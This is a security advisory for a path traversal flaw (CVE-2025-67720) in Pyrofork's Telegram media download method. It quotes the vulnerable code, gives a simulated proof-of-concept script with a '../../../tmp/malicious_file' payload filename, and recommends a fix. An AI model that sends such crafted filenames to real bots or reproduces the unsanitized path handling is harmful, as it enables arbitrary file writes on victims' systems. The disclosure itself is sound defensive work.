CVE-2025-67720: Pyrofork has a Path Traversal in download_media Method
Summary The downloadmedia method in Pyrofork does not sanitize filenames received from Telegram messages before using them in file path construction. This allows a remote attacker to write files to arbitrary locations on the filesystem by sending a specially crafted document with path traversal sequences (e.g., ../) or absolute paths in the filename.
Published Dec 10, 2025 · Updated Dec 11, 2025
Affected packages
pyrofork
- Ecosystem
- PyPI
- Affected
- <= 2.3.68
- Fixed in
- 2.3.69
- Check
pip show pyrofork
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The download_media method in Pyrofork does not sanitize filenames received from Telegram messages before using them in file path construction. This allows a remote attacker to write files to arbitrary locations on the filesystem by sending a specially crafted document with path traversal sequences (e.g., ../) or absolute paths in the filename.
---
Details
When downloading media, if the user does not specify a custom filename (which is the common/default usage), the method falls back to using the file_name attribute from the media object. This attribute originates from Telegram's DocumentAttributeFilename and is controlled by the message sender.
Vulnerable Code Path
Step 1: In pyrogram/methods/messages/download_media.py (lines 145-151):
media_file_name = getattr(media, "file_name", "") # Value from Telegram message
directory, file_name = os.path.split(file_name) # Split user's path parameter
file_name = file_name or media_file_name or "" # Falls back to media_file_name if emptyWhen a user calls download_media(message) or download_media(message, "downloads/"), the os.path.split() returns an empty filename, causing the code to use media_file_name which is attacker-controlled.
Step 2: In pyrogram/client.py (line 1125):
temp_file_path = os.path.abspath(re.sub("\\\\", "/", os.path.join(directory, file_name))) + ".temp"The os.path.join() function does not prevent path traversal. When file_name contains ../ sequences or is an absolute path, it allows writing outside the intended download directory.
Why the existing isabs check is insufficient
The check at line 153 in download_media.py:
if not os.path.isabs(file_name):
directory = self.PARENT_DIR / (directory or DEFAULT_DOWNLOAD_DIR)This check only handles absolute paths by skipping the directory prefix, but:
- For relative paths with
../,os.path.isabs()returnsFalse, so the check doesn't catch it - For absolute paths,
os.path.join()in the next step will still use the absolute path directly
---
PoC
The following Python script demonstrates the vulnerability by simulating the exact code logic from download_media.py and client.py:
#!/usr/bin/env python3
"""
Path Traversal PoC for Pyrofork download_media
Demonstrates CWE-22 vulnerability in filename handling
"""
import os
import shutil
import tempfile
from pathlib import Path
from dataclasses import dataclass
@dataclass
class MockDocument:
"""Simulates a Telegram Document with attacker-controlled file_name"""
file_id: str
file_name: str # Attacker-controlled!
@dataclass
class MockMessage:
"""Simulates a Telegram Message"""
document: MockDocument
DEFAULT_DOWNLOAD_DIR = "downloads/"
def vulnerable_download_media(parent_dir, message, file_name=DEFAULT_DOWNLOAD_DIR):
"""
Simulates the vulnerable logic from:
- pyrogram/methods/messages/download_media.py (lines 145-154)
- pyrogram/client.py (line 1125)
"""
media = message.document
media_file_name = getattr(media, "file_name", "")
# Line 150-151: Split and fallback
directory, file_name = os.path.split(file_name)
file_name = file_name or media_file_name or ""
# Line 153-154: isabs check (insufficient!)
if not os.path.isabs(file_name):
directory = parent_dir / (directory or DEFAULT_DOWNLOAD_DIR)
if not file_name:
file_name = "generated_file.bin"
# Line 1125 in client.py: Path construction
import re
temp_file_path = os.path.abspath(
re.sub("\\\\", "/", os.path.join(str(directory), file_name))
) + ".temp"
return temp_file_path
def run_poc():
print("=" * 60)
print("PYROFORK PATH TRAVERSAL PoC")
print("=" * 60)
with tempfile.TemporaryDirectory() as temp_base:
parent_dir = Path(temp_base)
expected_dir = str(parent_dir / "downloads")
print(f"\n[*] Bot working directory: {parent_dir}")
print(f"[*] Expected download dir: {expected_dir}")
# Attack: Path traversal with ../
print("\n" + "-" * 60)
print("TEST: Path Traversal Attack")
print("-" * 60)
malicious_msg = MockMessage(
document=MockDocument(
file_id="test_id",
file_name="../../../tmp/malicious_file"
)
)
result_path = vulnerable_download_media(
parent_dir=parent_dir,
message=malicious_msg,
file_name="downloads/"
)
# Remove .temp suffix for final path
final_path = os.path.splitext(result_path)[0]
print(f"[*] Malicious filename: ../../../tmp/malicious_file")
print(f"[*] Resulting path: {final_path}")
if not final_path.startswith(expected_dir):
print(f"\n[!] VULNERABILITY CONFIRMED")
print(f"[!] File path escapes intended directory!")
print(f"[!] Expected: {expected_dir}/...")
print(f"[!] Actual: {final_path}")
else:
print("[*] Path is within expected directory")
if __name__ == "__main__":
run_poc()How to Run
Save the above script and run:
python3 poc_script.pyExpected Output
============================================================
PYROFORK PATH TRAVERSAL PoC
============================================================
[*] Bot working directory: /tmp/tmpXXXXXX
[*] Expected download dir: /tmp/tmpXXXXXX/downloads
------------------------------------------------------------
TEST: Path Traversal Attack
------------------------------------------------------------
[*] Malicious filename: ../../../tmp/malicious_file
[*] Resulting path: /tmp/malicious_file
[!] VULNERABILITY CONFIRMED
[!] File path escapes intended directory!
[!] Expected: /tmp/tmpXXXXXX/downloads/...
[!] Actual: /tmp/malicious_fileWhy This Proves the Vulnerability
- The PoC uses the exact same logic as the vulnerable code in
download_media.pyandclient.py - The malicious filename
../../../tmp/malicious_filecauses the path to escape from/tmp/tmpXXX/downloads/to/tmp/malicious_file - Python's
os.path.join()andos.path.abspath()behavior is deterministic - this will work the same way in the real library
---
Impact
Who is affected?
- Telegram bots or user accounts using Pyrofork that download media with default parameters
- The common usage pattern
await client.download_media(message)is affected
Conditions required for exploitation
- Attacker must be able to send messages to the victim's bot/account
- Victim must download the media without specifying a custom filename
- The bot process must have write permissions to the target location
Potential consequences
- Arbitrary file write to locations writable by the bot process
- Overwriting existing files could cause denial of service or configuration issues
- In specific deployment scenarios, could potentially lead to code execution (e.g., if bot runs with elevated privileges)
---
Recommended Fix
Add filename sanitization in download_media.py after line 151:
file_name = file_name or media_file_name or ""
# Add this sanitization block:
if file_name:
# Remove any path components, keeping only the basename
file_name = os.path.basename(file_name)
# Remove null bytes which could cause issues
file_name = file_name.replace('\x00', '')
# Handle edge cases
if not file_name or file_name in ('.', '..'):
file_name = ""This ensures that only the filename component is used, stripping any directory traversal sequences or absolute paths.
---
Thank you for your time in reviewing this report. Please let me know if you need any additional information or clarification.
Credited to yueyueL.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
